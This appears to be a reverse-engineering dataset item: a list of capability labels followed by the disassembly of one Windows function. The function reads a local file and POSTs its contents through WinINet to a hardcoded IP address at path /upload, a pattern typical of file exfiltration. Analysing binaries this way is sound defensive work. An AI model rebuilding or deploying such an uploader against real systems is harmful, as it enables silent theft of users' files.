Function at 0x140003410
Capabilities:
Connect to http server
Create http request
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x40
xor esi, esi
mov r14, rcx
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, str.MyApp
lea edx, [rsi + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x14000345f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen_failed:__d_n
call fcn.1400010b0
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov qword [rsp + 0x38], rsi
lea rdx, str.164.92.191.107
mov dword [rsp + 0x30], esi
mov r8d, 0x1f40
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], rdi
call qword [sym.imp.WININET.dll_InternetConnectW]
mov rdi, rax
test rax, rax
jne 0x1400034c8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetConnect_failed:__d_n
call fcn.1400010b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov qword [rsp + 0x38], rsi
lea r8, str._upload
mov dword [rsp + 0x30], esi
lea rdx, str.POST
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov rcx, rdi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x60], rbp
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov rbp, rax
test rax, rax
jne 0x14000352f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HttpOpenRequest_failed:__d_n
call fcn.1400010b0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x14000368e
lea rdx, [0x14002ec5c]
mov rcx, r14
call fcn.14000cae8
mov rsi, rax
test rax, rax
jne 0x140003577
mov rdx, r14
lea rcx, str.Failed_to_open_file:__ls_n
call fcn.1400010b0
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x14000368e
xor edx, edx
mov qword [rsp + 0x70], r12
mov rcx, rsi
mov qword [rsp + 0x78], r15
lea r8d, [rdx + 2]
call fcn.140012410
mov rcx, rsi
call fcn.14000c8c8
xor r8d, r8d
movsxd r12, eax
xor edx, edx
mov rcx, rsi
call fcn.140012410
mov rcx, r12
call fcn.140012d70
mov r14, rax
test rax, rax
jne 0x1400035c5
lea rcx, str.Failed_to_allocate_memory_for_file_content._n
call fcn.1400010b0
jmp 0x140003621
mov r9, rsi
mov r8, r12
mov edx, 1
mov rcx, r14
call fcn.140012798
cmp rax, r12
je 0x1400035eb
lea rcx, str.Failed_to_read_file_content._n
call fcn.1400010b0
jmp 0x140003619
mov r9, r14
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x140003648
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HttpSendRequest_failed:__d_n
call fcn.1400010b0
mov rcx, r14
call fcn.140012524
mov rcx, rsi
call fcn.14000d0dc
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x140003684
lea rcx, str.File_uploaded_successfully._n
call fcn.1400010b0
mov rcx, r14
call fcn.140012524
mov rcx, rsi
call fcn.14000d0dc
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov r12, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret